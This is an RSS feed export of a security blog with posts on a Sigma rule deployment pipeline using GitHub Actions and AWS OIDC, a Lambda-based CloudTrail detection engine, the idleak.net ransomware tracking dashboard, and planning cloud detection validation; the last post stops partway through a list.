<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[Ewaldo Simon Hiras's Blog]]></title><description><![CDATA[Talks about infosec🧑‍💻, mainly focusing on digital forensics and incident response; detection engineering; SOC stuff and occasionally random stuff 🍩🕹️.]]></description><link>https://aldosimon.com</link><generator>RSS for Node</generator><lastBuildDate>Sun, 07 Jun 2026 01:07:38 GMT</lastBuildDate><atom:link href="https://aldosimon.com/rss.xml" rel="self" type="application/rss+xml"/><language><![CDATA[en]]></language><ttl>60</ttl><item><title><![CDATA[Detection Pipeline for CloudTrail Detection Engine]]></title><description><![CDATA[Prolog
I needed to come up with a detection for an AWS environment, that is cheap, will take custom detection (preferably Sigma rule for easier maintenance) and somewhat flexible/ customizable. I ended up using with the Lambda that consume sigma and ...]]></description><link>https://aldosimon.com/detection-pipeline-for-cloudtrail-detection-engine</link><guid isPermaLink="true">https://aldosimon.com/detection-pipeline-for-cloudtrail-detection-engine</guid><category><![CDATA[detection engineering ]]></category><dc:creator><![CDATA[Ewaldo Simon Hiras]]></dc:creator><pubDate>Mon, 10 Nov 2025 16:52:54 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/stock/unsplash/scUBcasSvbE/upload/f8de83185770a071aee286e03329d430.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h1 id="heading-prolog">Prolog</h1>
<p>I needed to come up with a detection for an AWS environment, that is cheap, will take custom detection (preferably <a target="_blank" href="https://sigmahq.io/docs/basics/rules.html"><strong>Sigma</strong></a> <a target="_blank" href="https://sigmahq.io/docs/basics/rules.html">rule</a> for easier maintenance) and somewhat flexible/ customizable. I ended up using with the Lambda that consume sigma and CloudTrail, called <a target="_blank" href="https://aldosimon.com/cloudtrail-detection-engine">CTDE</a>.</p>
<p>Now the next hurdle is deploying detection as a code (kinda) for CTDE. Just like CTDE before, we need to draw up requirement for this pipeline. Which are version control, audit log, verification of the rules, re-usability (this is taken care of, since CTDE consume Sigma rules).</p>
<h1 id="heading-setup">Setup</h1>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1762785104611/cf5bd900-c349-4297-bfe8-8c42619f72b7.png" alt class="image--center mx-auto" /></p>
<p>The pipeline setup consist of a repository, Github action to verify Sigma and another one to push to S3 rule bucket of the CTDE. in the AWS side, the action was limited by a role that uses Github OIDC to authenticate and a policy to limit that role permission.</p>
<p>To set this up, you will need to:</p>
<ol>
<li><p>Create an OIDC Provider in IAM</p>
<ul>
<li><p>Go to the <strong>IAM</strong> console → <strong>Identity Providers</strong> → <strong>Add provider</strong>.</p>
</li>
<li><p>Select <strong>OpenID Connect</strong>.</p>
</li>
<li><p>For <strong>Provider URL</strong>, enter <a target="_blank" href="https://token.actions.githubusercontent.com"><code>https://token.actions.githubusercontent.com</code></a>.</p>
</li>
<li><p>For <strong>Audience</strong>, enter <a target="_blank" href="http://sts.amazonaws.com"><code>sts.amazonaws.com</code></a>.</p>
</li>
</ul>
</li>
<li><p>Create IAM role for deployment</p>
<ul>
<li><p>Select <strong>Web identity</strong> for the trusted entity type.</p>
</li>
<li><p>For <strong>Identity provider</strong>, select the OIDC provider you created (e.g., <a target="_blank" href="http://token.actions.githubusercontent.com"><code>token.actions.githubusercontent.com</code></a>).</p>
</li>
<li><p>For <strong>Audience</strong>, choose <a target="_blank" href="http://sts.amazonaws.com"><code>sts.amazonaws.com</code></a></p>
</li>
</ul>
</li>
<li><p>Attach permission policy: use permission boundary to limit it to the S3 rules bucket or use custom permission policy</p>
</li>
<li><p>Setup Github secrets: as you might’ve seen from the Github action, you’ll need secrets setup in Github <code>AWS_OIDC_ROLE_ARN</code>, <code>S3_BUCKET_NAME</code>, and <code>AWS_REGION</code>.</p>
</li>
</ol>
<p>We’ll go through each of the component below.</p>
<h2 id="heading-github-action-and-repository">Github Action and Repository</h2>
<p>The setup consist of two Github actions. One to verify the Sigma rules and will run if changes happens to repository and the second one to sync to S3 rule bucket when verification is successful. This ensure that all synced (and later loaded) rules are verified. While the use of repository ensure a version control and audit log is available.</p>
<pre><code class="lang-bash">name: Validate Sigma Rules

on: [push, pull_request, merge_group, workflow_dispatch]

<span class="hljs-built_in">jobs</span>:
  sigma-rules-validator:
    runs-on: ubuntu-latest
    steps:
      - name: Validate Sigma rules
        uses: SigmaHQ/sigma-rules-validator@v1
        with:
          paths: ./rules
</code></pre>
<p>The rule tester uses <a target="_blank" href="https://github.com/SigmaHQ/sigma-rules-validator/">SigmaHQ rules validator</a>, but can also takes custom Sigma rules schema. Custom schema can be useful later when correlation between Sigma rules are introduced to CTDE.</p>
<pre><code class="lang-bash">name: Deploy Sigma Rules to AWS S3 (OIDC)

on:
  workflow_run:
    workflows: [<span class="hljs-string">"Validate Sigma Rules"</span>] 
    branches: [main]
    types: 
      - completed

<span class="hljs-comment"># Required: Define permissions for the OIDC token</span>
permissions:
  id-token: write <span class="hljs-comment"># This is required for OIDC to fetch the token</span>
  contents: <span class="hljs-built_in">read</span>  <span class="hljs-comment"># Required to checkout the repository code</span>

<span class="hljs-built_in">jobs</span>:
  deploy_rules:
    runs-on: ubuntu-latest
    <span class="hljs-keyword">if</span>: <span class="hljs-variable">${{ github.event.workflow_run.conclusion == 'success' }</span>}
    steps:d
      - name: Checkout repository code that have been validated
        uses: actions/checkout@v4
        with:
          ref: <span class="hljs-variable">${{ github.event.workflow_run.head_sha }</span>}

      - name: Configure AWS Credentials with OIDC
        uses: aws-actions/configure-aws-credentials@v4
        with:
          role-to-assume: <span class="hljs-variable">${{ secrets.AWS_OIDC_ROLE_ARN }</span>} <span class="hljs-comment"># Uses the ARN of the secure role</span>
          aws-region: <span class="hljs-variable">${{ secrets.AWS_REGION }</span>}
          role-session-name: GitHubAction-SigmaDeployment 

      - name: Sync Sigma Rules to S3 Bucket
        <span class="hljs-comment"># The AWS CLI command now runs using the temporary credentials it assumed</span>
        run: |
          aws s3 sync ./rules/ s3://<span class="hljs-variable">${{ secrets.S3_BUCKET_NAME }</span>}/ --delete
</code></pre>
<p>The second Github action then syncs the repository, once the workflows “Validate Sigma Rules” complete, as you can see in the code above. The Github action connects to S3 rules bucket by assuming a role and authentication is handled by OIDC.</p>
<h3 id="heading-testing-and-validation">Testing and Validation</h3>
<p>If you read <a target="_blank" href="https://www.amazon.com/Practical-Threat-Detection-Engineering-hands/dp/1801076715">Practical Detection Engineering</a>, you might be a bit confused because of the wording “validation” used in the github action portion previously. To be clear, the particular github action is actually doing validation <strong>strictly</strong> for schema of the sigma rule. This has little to do with detection validation I talked about <a target="_blank" href="https://aldosimon.com/if-i-were-to-start-testing-my-cloud-detection">before</a>.</p>
<p>As part of the pipeline, I also do some detection testing to ensure the detection definition (rule/code) is implemented correctly and accurately reflects its intent in the production environment. I did this by running <a target="_blank" href="http://stratus-red-team.cloud/">stratus</a> and <a target="_blank" href="https://github.com/dataDog/grimoire">grimoire</a>, depends on which rule I am trying to test. Findings can be summarized to these points:</p>
<ol>
<li><p>Most of the Sigma rule fare well, this is expected since at <a target="_blank" href="https://aldosimon.com/cloudtrail-detection-engine?t=1763479523281#heading-design-and-development">phase 2</a>, CTDE still consume simple Sigma rule.</p>
</li>
<li><p>A portion of the Sigma will rule takes longer to consume, hence Lambda timeout need to be extended. This feeds back to the <a target="_blank" href="https://aldosimon.com/cloudtrail-detection-engine?t=1763479523281#heading-caveats">CTDE projects</a>. This is also something to be expected as we developed more complicated rules.</p>
</li>
<li><p>Some of the stratus terraform is not working. A workaround I did was to research what the stratus trying to emulate and conduct them via ClickOps, or better, run grimoire with AWS CLI.</p>
</li>
</ol>
<h2 id="heading-iam-role-and-policy">IAM Role and Policy</h2>
<p>After setting up role with the steps listed above, your IAM role trust policy should looked like this:</p>
<pre><code class="lang-yaml">{
    <span class="hljs-attr">"Version":</span> <span class="hljs-string">"2012-10-17"</span>,
    <span class="hljs-attr">"Statement":</span> [
        {
            <span class="hljs-attr">"Effect":</span> <span class="hljs-string">"Allow"</span>,
            <span class="hljs-attr">"Principal":</span> {
                <span class="hljs-attr">"Federated":</span> <span class="hljs-string">"arn:aws:iam::123456789012:oidc-provider/token.actions.githubusercontent.com"</span>
            },
            <span class="hljs-attr">"Action":</span> <span class="hljs-string">"sts:AssumeRoleWithWebIdentity"</span>,
            <span class="hljs-attr">"Condition":</span> {
                <span class="hljs-attr">"StringEquals":</span> {
                    <span class="hljs-attr">"token.actions.githubusercontent.com:aud":</span> <span class="hljs-string">"sts.amazonaws.com"</span>,
                    <span class="hljs-attr">"token.actions.githubusercontent.com:sub":</span> <span class="hljs-string">"repo:repo-org/repo-name:ref:refs/heads/main"</span> 
                }
            }
        }
    ]
}
</code></pre>
<p>I used custom AWS policy that looked like this:</p>
<pre><code class="lang-json">{
    <span class="hljs-attr">"Version"</span>: <span class="hljs-string">"2012-10-17"</span>,
    <span class="hljs-attr">"Statement"</span>: [
        {
            <span class="hljs-attr">"Sid"</span>: <span class="hljs-string">"AllowS3ObjectManagement"</span>,
            <span class="hljs-attr">"Effect"</span>: <span class="hljs-string">"Allow"</span>,
            <span class="hljs-attr">"Action"</span>: [
                <span class="hljs-string">"s3:PutObject"</span>,
                <span class="hljs-string">"s3:GetObject"</span>,
                <span class="hljs-string">"s3:DeleteObject"</span>
            ],
            <span class="hljs-attr">"Resource"</span>: <span class="hljs-string">"arn:aws:s3:::bucket-name/*"</span>
        },
        {
            <span class="hljs-attr">"Sid"</span>: <span class="hljs-string">"AllowS3BucketListing"</span>,
            <span class="hljs-attr">"Effect"</span>: <span class="hljs-string">"Allow"</span>,
            <span class="hljs-attr">"Action"</span>: <span class="hljs-string">"s3:ListBucket"</span>,
            <span class="hljs-attr">"Resource"</span>: <span class="hljs-string">"arn:aws:s3:::bucket-name"</span>
        }
    ]
}
</code></pre>
<p>Both are pretty self explanatory.</p>
<h2 id="heading-more">More</h2>
<p>More reading if you plan to setup something similar:</p>
<p><a target="_blank" href="https://aws.amazon.com/blogs/security/use-iam-roles-to-connect-github-actions-to-actions-in-aws/">https://aws.amazon.com/blogs/security/use-iam-roles-to-connect-github-actions-to-actions-in-aws/</a></p>
<p><a target="_blank" href="https://docs.github.com/en/actions/how-tos/secure-your-work/security-harden-deployments/oidc-in-aws">https://docs.github.com/en/actions/how-tos/secure-your-work/security-harden-deployments/oidc-in-aws</a></p>
<p><a target="_blank" href="https://medium.com/@integrationninjas/authenticate-github-actions-with-aws-using-oidc-16f90f54f104">https://medium.com/@integrationninjas/authenticate-github-actions-with-aws-using-oidc-16f90f54f104</a></p>
<h1 id="heading-epilog">Epilog</h1>
<p>A secure, automated, and auditable detection pipeline for a <a target="_blank" href="https://github.com/aldosimon/cloudtrail-detection-engine">CloudTrail Detection Engine (CTDE)</a> can be effectively implemented by combining GitHub Actions with AWS OIDC (OpenID Connect) authentication.</p>
]]></content:encoded></item><item><title><![CDATA[About idleak.net]]></title><description><![CDATA[Prologue
Cyber security is always evolving. No matter which topic of cyber you are working with, there is always a need to know and learn new stuff, constantly. On one hand, this means a never ending fun, finding out new stuff and trying out stuff, b...]]></description><link>https://aldosimon.com/about-idleaknet</link><guid isPermaLink="true">https://aldosimon.com/about-idleaknet</guid><category><![CDATA[data leak]]></category><category><![CDATA[Data Breach]]></category><category><![CDATA[ransomware]]></category><category><![CDATA[threat intelligence]]></category><dc:creator><![CDATA[Ewaldo Simon Hiras]]></dc:creator><pubDate>Tue, 07 Oct 2025 03:29:20 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/stock/unsplash/91LGCVN5SAI/upload/73eba6a5257bebea7f6a1cb6804e55de.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h1 id="heading-prologue">Prologue</h1>
<p>Cyber security is always evolving. No matter which topic of cyber you are working with, there is always a need to know and learn new stuff, constantly. On one hand, this means a never ending fun, finding out new stuff and trying out stuff, but on the other hand, it is super annoying have to keep up with so many things.</p>
<p>In my field, especially, there is a need to be constantly aware of new threats, whether is a new leak, a new ransomware attack, or new <a target="_blank" href="https://www.cve.org/about/overview">CVE</a> from a widely used software. But new stuff is not always threats, there are myriads of new ways of doing things, new cool software that can potentially be useful for you, edge cases, use cases, new detection techniques, this part feeds into the never ending fun of finding out and trying out stuff.</p>
<p>With the deluge of information that needs handling, I realized quickly that I need differentiate between these information. Having my own <a target="_blank" href="https://sps.columbia.edu/sites/default/files/2023-08/Eisenhower%20Matrix.pdf">Eisnehower Matrix</a>, sort of, is mandatory if I am to stay afloat in this cyber business. My current solution is a sort of knowledge base/ notes for my “fun tryout stuff” (detailed in the graph below).</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1760653517739/1fcc943b-38f7-43be-b43a-2018696b5e6d.png" alt class="image--center mx-auto" /></p>
<p>While the collection for my “fun tryout stuff” is pretty much settled, the urgent/important part of my Eisenhower Matrix is actually the new threats, new attacks, and new CVE. I need to be in the know for all these things, especially if it relate closely to Indonesia market. Currently I have <a target="_blank" href="https://docs.ntfy.sh/">ntfy.sh</a> to monitor ransomware, and a bunch of twitter/ mastodon/ bluesky feeds for CVE, leaks, and the likes. The main pain point is 80% of these information is not related to my use case. Sure, there might be a ransomware attack involving Indonesian entity, or data leak in a closely related industry with mine, but these are few and far between.</p>
<p>So the needs arise, for some sort of feeds that will inform me of incident that have high values to me (i.e. related to Indonesia). Earlier I was aiming for some sort of telegram/ discord bot as front end, and back end is a bunch of worker for different source (i.e. ransomware, CVE, leaks, etc). But in the end I opted for a dashboard as the front end instead. The idea behind it is it’ll be easier in the future to share it if needed, and it might even help someone right now, hence <a target="_blank" href="https://idleak.net">idleak.net</a>.</p>
<h1 id="heading-design-and-development">Design and Development</h1>
<p>Ideally I wanted the site to be able to track ransomware incident, cyber news, leaks from stealer all <strong>focusing</strong> in <strong>Indonesia market</strong>. My plan was to use python as back end to gather these data, put it in a database (after doing formatting and cleansing) and use a static file to serve the result. To achieve this I designed the development to be of at least three stages with incremental addition in the future. I aim for these features to be developed for the stages:</p>
<ol>
<li><p><strong>Phase 1:</strong> completed worker 01 (ransomware)</p>
</li>
<li><p><strong>Phase 2</strong>: completed front end and</p>
</li>
<li><p><strong>Phase 3</strong>: heartbeat function for worker 01</p>
</li>
<li><p><strong>Phase 4:</strong> completed worker 02 (cyber news)</p>
</li>
<li><p><strong>Phase 5:</strong> completed worker 03 (stealer)</p>
</li>
</ol>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759807485358/c7afa88f-dbb9-40ac-bdb9-7026643a4217.png" alt class="image--center mx-auto" /></p>
<p>Currently we are at phase 2, so one of the back end worker and front end is complete, with more workers in the pipeline. You can check out the project <a target="_blank" href="https://github.com/aldosimon/idleak.net-app">here</a>, and the site <a target="_blank" href="https://idleak.net">idleak.net</a>.</p>
<h2 id="heading-back-end">Back End</h2>
<p>The project used python for back end (worker) with specific function for each worker. These functions are scraping telegram, twitter, rss feeds, API or ransomware board. Worker script hosted in AWS Lambda, with AWS built in role and permission. Back end also handles data cleansing and filtering, which varies based on the worker's role. Finally, a database check is done by connecting to <a target="_blank" href="https://supabase.com/">supabase</a>, to see if similar information is already exist, and post it if it’s not presently exist. Here are the more detailed description of functions inside the worker.</p>
<ol>
<li><p><strong>Initialization and Setup</strong>: The program first loads configuration settings (like the Supabase database URL, secret key, and the target country code) from environment variables. It sets up a logging mechanism to record its activities.</p>
</li>
<li><p><strong>Connect to Database</strong>: It attempts to establish a secure connection to the <strong>Supabase database</strong>. If the connection fails, the process stops immediately and logs an error.</p>
</li>
<li><p><strong>Fetch External Data</strong>: It makes a request to the <a target="_blank" href="http://ransomware.live"><strong>ransomware.live</strong></a> <strong>API</strong> using the configured country code (e.g., "id" for Indonesia) to retrieve a list of recent ransomware victim reports.</p>
</li>
<li><p><strong>Process and Filter by Time:</strong> The retrieved raw data is then processed. Any report older than a configured time limit (e.g., 60 hours) is <strong>discarded</strong>. The remaining recent reports are standardized into a clean format suitable for the database.</p>
</li>
<li><p><strong>Check for Duplicates:</strong> To prevent storing the same information twice, the program queries the Supabase database to get a list of keys (title, publish date, and source URL) for all existing records. It then compares the new, processed reports against these existing keys, <strong>filtering out any entries already present in the database</strong>.</p>
</li>
<li><p><strong>Insert New Records</strong>: The resulting list, containing only the <strong>unique, new victim reports</strong>, is then inserted into the Supabase table.</p>
</li>
<li><p><strong>Final Report:</strong> Finally, the program logs how many unique records were successfully inserted and returns a status indicating the operation is complete.</p>
</li>
</ol>
<p>From time to time I needed to check if my worker successfully updated the newest ransomware attack, or if the Lambda is dead. This is quite annoying as I will have to go look at Cloudwatch log for the Lambda. So I decided to add some sort of <a target="_blank" href="https://en.wikipedia.org/wiki/Heartbeat_\(computing\)">heartbeat function</a> for the worker. This, however, will cause other features to be push the other to later phases.</p>
<h2 id="heading-front-end">Front End</h2>
<p>The front end uses static files, and java script is used to pull from the database to sort and show database. CSS used <a target="_blank" href="https://purecss.io/">purecss</a> and <a target="_blank" href="https://gridjs.io/">grid.js</a> used to serve tables. Here are the more detailed explanation of the front end.</p>
<ol>
<li><p><code>ransom.html</code> file provides the necessary structure, or skeleton, for the webpage.<br /> This is the basic web page. It builds the layout, including the header and a simple side menu. Most importantly, it creates an <strong>empty box</strong> where the data table will go and loads all the necessary external tools, like the database connector and the table builder.</p>
</li>
<li><p><code>ransom.js</code> file contains the application's core logic and data handling.<br /> This is the part that does the work. It connects to the <strong>Supabase cloud database</strong>, pulls the list of ransomware incidents, and then uses a tool (Grid.js) to turn that data into a functional table. It then drops this completed, interactive table right into the empty box on the HTML page.</p>
</li>
<li><p><code>ui.js</code> file is a dedicated script for controlling the visual interaction of the page's layout.<br /> This is a simple script that just handles the <strong>side menu</strong>. It makes sure that when you click the menu icon, the menu slides in and out correctly, keeping the website clean and easy to use.</p>
</li>
</ol>
<p>Next phases will build up on these workflow, so similar html, js and css will be used, basically to serve different table from different back end worker.</p>
<h1 id="heading-epilogue">Epilogue</h1>
<p>The project arise from my need to a streamlined place to check for ransomware, breach, leaks that focuses in Indonesia market. A python worker back end collect required data and do clean up with Supabase database and html/css used to serve the information that can be accessed in <a target="_blank" href="https://idleak.net">idleak.net</a>.</p>
]]></content:encoded></item><item><title><![CDATA[CloudTrail Detection Engine]]></title><description><![CDATA[TLDR: CloudTrail detection engine (CTDE), is an AWS native (i.e. using lambda and CloudTrail) detection engine.
Requirement and Research
For one of the work I did, I needed to come up with a detection for an AWS environment, that is cheap, will take ...]]></description><link>https://aldosimon.com/cloudtrail-detection-engine</link><guid isPermaLink="true">https://aldosimon.com/cloudtrail-detection-engine</guid><category><![CDATA[detection engineering ]]></category><category><![CDATA[AWS CloudTrail]]></category><dc:creator><![CDATA[Ewaldo Simon Hiras]]></dc:creator><pubDate>Fri, 26 Sep 2025 02:46:11 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/stock/unsplash/Cfv1mM-bQe4/upload/e611d3638a0506c7c341ae14c640f09b.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p><em>TLDR: CloudTrail detection engine (CTDE), is an AWS native (i.e. using lambda and CloudTrail) detection engine.</em></p>
<h1 id="heading-requirement-and-research">Requirement and Research</h1>
<p>For one of the <a target="_blank" href="https://gardnerresearch.org">work</a> I did, I needed to come up with a detection for an AWS environment, that is cheap, will take custom detection (preferably <a target="_blank" href="https://sigmahq.io/docs/basics/rules.html">Sigma</a> rule for easier maintenance) and somewhat flexible/ customizable.</p>
<p>With that requirements in mind, I needed something that will be able to take, for the time being, CloudTrail. The thinking behind this was a portion of CloudTrail events are of a high impact from a security standpoint, and with how AWS environment is architectured, having a detection on these high impact CloudTrail will provide pretty good coverage with minimal cost upfront.</p>
<p>Muscle memory immediately bring me to SIEM route. This is something that will be a good base to build upon, I can start with CloudTrail and send a bunch other log later. However shipping log there is not going to be cheap, thus failing the first requirement.</p>
<p>Next best thing I was drawn to was GuardDuty. However, GuardDuty failed in being flexible and taking custom detection. Another offering from AWS that I also thought of was CloudWatch with custom metrics. This setup will allow flexibility and custom detection. However the thought of managing custom detection in CloudWatch give me shivers and relying and later expanding on CloudWatch for detection would felt like building on a wobbly ground.</p>
<p>The last alternative I thought of, and eventually the one I chose, was hosting a lambda that consume CloudTrail and Sigma rule, then fire alert when it found matches. The cost shouldn’t be too big, because the organization is not really that big and it will be super flexible, I can also manage the Sigma rule using a repository and detection pipeline to verify the detection.</p>
<h1 id="heading-design-and-development">Design and Development</h1>
<p>The tool will comprise of a python script hosted in AWS Lambda, Amazon SNS to send the alert, two S3 bucket to hold CloudTrail events and sigma signature. A new object in the CloudTrail S3 bucket (i.e. new CloudTrail events) will trigger the python. The python script then load CloudTrail events from S3 bucket, and also the sigma signature. The script then compare the required detection from the sigma with the CloudTrail events and fire email notification for matched events.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1762440922511/6391d2e0-17a2-47d2-b694-510a3702201b.png" alt class="image--center mx-auto" /></p>
<p>This setup, as I mentioned in the requirement, will allow user to have the ability to custom their detection to detect high impact CloudTrail events, and leveraging sigma rules flexibility. So kind of having the flexibility of a SIEM detection, without having to ship the log to a real SIEM, at least until the requirements fit to go the SIEM route.</p>
<p>I designed the development to be of at least three stages with incremental addition in the future. I aim for these features to be developed for the stages:</p>
<ol>
<li><p><strong>Phase 1</strong>: Lambda able to take in hard coded CloudTrail API, send un-formatted email alert</p>
</li>
<li><p><strong>Phase 2</strong>: Lambda able to read Sigma from S3 and consume Sigma rule</p>
</li>
<li><p><strong>Next Phases</strong>:</p>
<ul>
<li><p>Lambda able to send formatted email alert</p>
</li>
<li><p>Lambda able to do correlation between rules</p>
</li>
<li><p>Lambda able to do threshold for a rule</p>
</li>
</ul>
</li>
</ol>
<p>Each of the stages will have similar steps, that is:</p>
<ol>
<li><p>definition and configuration</p>
</li>
<li><p>coding and local testing.</p>
</li>
<li><p>packaging and deployment.</p>
</li>
<li><p>monitoring.</p>
</li>
</ol>
<h2 id="heading-lambda">Lambda</h2>
<p>Currently (i.e. phase 2), The Lambda function is triggered by the <code>s3:ObjectCreated:*</code> event whenever a new CloudTrail log file is written to your S3 bucket, and here is the simplified logic:</p>
<ol>
<li><p>Get the Rules: The function first fetches your set of custom security criteria (Sigma rules) from a dedicated S3 bucket. It reads all these rules, parses them, and makes a simple list of critical event names it needs to watch for (like <code>DeleteRole</code> or <code>DisableLogging</code>). This list is cached for speed.</p>
</li>
<li><p>Get the Logs: When a new CloudTrail log file arrives in its S3 bucket, the function downloads it, decompresses it, and extracts all the individual activity records.</p>
</li>
<li><p>Check for Matches: The function goes through every CloudTrail record and checks if its <code>eventName</code> property is present in the cached list of critical event names.</p>
</li>
<li><p>Send the Alert: If a record matches a rule, the function immediately publishes the full event details as a message to a designated Amazon SNS Topic, which then notifies your security team (e.g., via email or integrated ticketing system).</p>
</li>
</ol>
<p>Accompanying Lambda is the IAM Execution Role and permission to access the S3, and publish SNS to send the alert. I attached AWSLambdaBasicExecutionRole and a custom permission for S3 access and SNS publishing. Limiting the access only to two buckets needed (Sigma rules and CloudTrail).</p>
<h2 id="heading-sigma-rules">Sigma rules</h2>
<p>To automate Sigma rule deployment for the setup, I use a GitHub repository and workflows to push rules to an S3 bucket, making it a simple pipeline to deploy rules to the setup. I used GitHub OIDC and an IAM role with limited policy for secure, least privilege and short-lived credentials. Since this is more of the way I deployed the detection pipeline, and less about the engine itself, I’ve talked more about this on a different post <a target="_blank" href="https://aldosimon.com/detection-pipeline-for-cloudtrail-detection-engine">here</a>.</p>
<h2 id="heading-caveats">Caveats</h2>
<p>As you might already figured out, cloud logs and in this case CloudTrail can be pretty noisy, which I believe can be mitigated by at least a couple of things:</p>
<ul>
<li><p>A selection of a right collection of sigma signature is → this is what I meant by a high impact CloudTrail events. For instance, I might want to be alerted on a <code>StopLogging</code> events, but probably not on all <code>DescribeInstances</code> events</p>
</li>
<li><p>Threshold for the detection. This feature is pretty common in a SIEM, but still on phase 3 for the tool. To come back to the previous example, if I can set a threshold for how many <code>DescribeInstances</code> events per 5 minutes, this is something that I might wanted to be alerted on.</p>
</li>
<li><p>Correlation between loaded signature. This is also a common feature called <a target="_blank" href="https://aldosimon.com/what-are-indicators-of-compromise-iocs-and-why-do-they-matter">composite detection</a>. If a IAM event such as <code>AssumeRole</code>, was followed by a bunch of discovery activities (i.e. <code>DescribeInstances</code>), I might want to be alerted on that.</p>
</li>
</ul>
<p>As part of deploying the Sigma rule, one thing I learned was to test Sigma rule extensively and use the result to feed back into CTDE. I end up increasing the Lambda timeout as part of the lesson learned from Sigma rule <a target="_blank" href="https://aldosimon.com/detection-pipeline-for-cloudtrail-detection-engine?t=1763479495866#heading-testing-and-validation">testing</a>.</p>
<p>Currently threshold feature is in development and correlation is still further down the pipeline, but the tool is operational if you have several high impact CloudTrail event you want to monitor on.</p>
<h1 id="heading-conclusion">Conclusion</h1>
<p>CTDE tries to fill the gap of aws detection for small organization that needs more flexibility than just turning on GuardDuty, but don’t need a full blown SIEM. If this sounds fun, Terraform script is available with the where you can easily deploy the tool in the github <a target="_blank" href="https://github.com/aldosimon/cloudtrail-detection-engine">here</a>.</p>
]]></content:encoded></item><item><title><![CDATA[If I were to start validating my cloud detection...]]></title><description><![CDATA[Prologue
I had an interesting 45 minute conversation with a security engineer from a mostly-cloud company. We talked about how would one start a detection assessment program, mainly brainstorming ideas on what to test.
It was an impromptu chat (kind ...]]></description><link>https://aldosimon.com/if-i-were-to-start-testing-my-cloud-detection</link><guid isPermaLink="true">https://aldosimon.com/if-i-were-to-start-testing-my-cloud-detection</guid><category><![CDATA[detection engineering ]]></category><category><![CDATA[SIEM]]></category><category><![CDATA[soar]]></category><dc:creator><![CDATA[Ewaldo Simon Hiras]]></dc:creator><pubDate>Sun, 03 Aug 2025 19:18:18 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/stock/unsplash/WC6MJ0kRzGw/upload/dba569a96381bb53f21011289069c81b.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h1 id="heading-prologue">Prologue</h1>
<p>I had an interesting 45 minute conversation with a security engineer from a mostly-cloud company. We talked about how would one start a detection assessment program, mainly brainstorming ideas on what to test.</p>
<p>It was an impromptu chat (kind of), so I yap for a good couple of minutes using “spaghetti in the wall” strategy. I have had sometime afterwards to rethink about what I said, and I guess this is where I would start.</p>
<p><em>The conversation was mainly about finding ideas on what to test first, and less about the logistic of starting such program.</em></p>
<h1 id="heading-anatomy">Anatomy</h1>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1762814933874/901eb067-016d-4e1e-9622-7f2181d034b1.png" alt class="image--center mx-auto" /></p>
<p>Diagram above from <a target="_blank" href="https://www.amazon.com/Practical-Threat-Detection-Engineering-hands/dp/1801076715">practical detection engineering</a> describe life cycle of detection engineering. A similar phase with validation, called testing, is part of development phase, and just to make it clear for reader that didn’t read book, here are the differences of testing and validation:</p>
<div class="hn-table">
<table>
<thead>
<tr>
<td><strong>Feature</strong></td><td><strong>Detection Testing</strong></td><td><strong>Detection Validation</strong></td></tr>
</thead>
<tbody>
<tr>
<td><strong>Primary Goal</strong></td><td>To ensure a specific detection definition (rule/code) is implemented correctly and accurately reflects its intent in the production environment.</td><td>To examine how the detection environment behaves in response to threat actor techniques.</td></tr>
<tr>
<td><strong>Focus</strong></td><td>The individual detection rule itself, ensuring it: <em>Returns the expected data.</em> Minimizes false positives. * Is performant.</td><td>The adversarial tactics and techniques executed, often relying on the output of one or combinations of implemented detections.</td></tr>
<tr>
<td><strong>Process Alignment</strong></td><td>A sub-process of the detection engineering life cycle, concerned with preparing the rule for production.</td><td>Does not need to be executed in-band with the detection engineering life cycle; can be executed independently.</td></tr>
<tr>
<td><strong>Output</strong></td><td>A detection rule ready for implementation in production.</td><td>A tactic and technique-oriented report on how the subset of the detection environment responded to the executed techniques.</td></tr>
</tbody>
</table>
</div><p>If we are talking detection validation (cloud or otherwise), it falls within the <a target="_blank" href="https://www.amazon.com/Practical-Threat-Detection-Engineering-hands/dp/1801076715">validation phase</a>, with in broad terms can be executed in three stages:</p>
<ul>
<li><p>Planning: this is the phase where objectives, scopes, timelines and stakeholders are defined. The specific defensive capabilities targeted for validation and the criteria for determining their effectiveness are rigidly defined during this phase.</p>
</li>
<li><p>Execution and data collection: this is where TTPs are executed against target and data collected.</p>
</li>
<li><p>Analysis and reporting: analysis and reporting of testing output. This phase identify gaps.</p>
</li>
</ul>
<p>Validation phase can be use for the whole TTP used by known threat actor, simulating attack by that threat actor, or it can be made granular to test specific techniques from a threat actor.</p>
<p>With that in mind, the rest of this blog post is part of the planning stage of the validation phase, mentioned above.</p>
<h1 id="heading-identify">Identify</h1>
<p>Armed with understanding of validation, and what we are trying to accomplished in the planning stage, we will start with identify critical asset to protect. This step answers the question: <strong>What is the most critical thing to protect?</strong></p>
<ol>
<li><p>Identify Critical Assets: List and rank the systems, data, and applications that are mission-critical (e.g., Active Directory, financial databases, key intellectual property).</p>
</li>
<li><p>Model Your Threat: Identify the most likely Threat Actors targeting your organization/industry.</p>
</li>
<li><p>Map Adversary Techniques (MITRE ATT&amp;CK): Determine the specific Tactics, Techniques, and Procedures (TTPs) those threat actors use against your critical assets.</p>
</li>
</ol>
<h1 id="heading-prioritize">Prioritize</h1>
<p>This is where you choose the detection to validate. There are several considerations to help you prioritize:</p>
<ol>
